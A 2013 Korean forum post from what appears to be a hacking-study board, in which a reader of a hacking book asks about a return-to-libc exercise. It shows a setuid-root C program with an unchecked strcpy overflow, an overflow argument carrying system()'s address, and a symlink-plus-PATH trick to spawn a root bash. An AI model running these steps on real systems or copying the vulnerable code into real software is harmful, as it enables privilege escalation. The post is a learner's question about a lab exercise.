|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1707 [복사]
해쿨북을 삿는데
재밋다 모니깐 한번에 다읽었는데 이해가 안되는 곳이있습니다.
vuln.c(root 권한 파일 setUID,setGID)
블라블~~~~~~~~~~~
~~~~~~~~~~~~
~~~~~~~~~~~~걍 기본적인 내용임
int main(int argc,char *argv[])
{
char buffer[80];
if(argc<2){
printf("그냥 애러라는 내용임 \n");
return 1;
}
strcpy(buffer,argv[1]);
printf(" %s\n", buffer);요거는 걍내용짜르고 중요한거만 너음
}
보시면 아시겟지만 루트 권한을 털라는건데요.
리턴어드레스를 건들여서 안꺼지게한다는 그런내용인데....
여기서
그닥 별거아닌내용 넘길게요.
어쩌고 저쩌고해서 system()의 어드레스를 따서
./vuln `perl -e 'print"A"x84, "여기에다가 어드레스 리틀 인디엔 방식으로"'`
실행결과 애러발생
bash: 웝?? command not found 파일이 없다는거라네요 그럼 파일을 만들어야지 해서
일단 웝이란 것의 xxd로 내용을 확인하니 ffdf ffaf ffcf ffdf 이런식으로 나오길래
ln -s /bin/bash `perl -e 'printf "위주소"'`
그리고 웝이라는 파일은 절대,상대 경로도 아니기떄문에 PATH화경변수에 현제
경로를 때려박았습니다.
여기까지 여기서 ./vuln 쪽에서는 print 라고하고 ln쪽에서는 printf라고하나요?
|
Hit : 4665 Date : 2013/09/05 10:37
|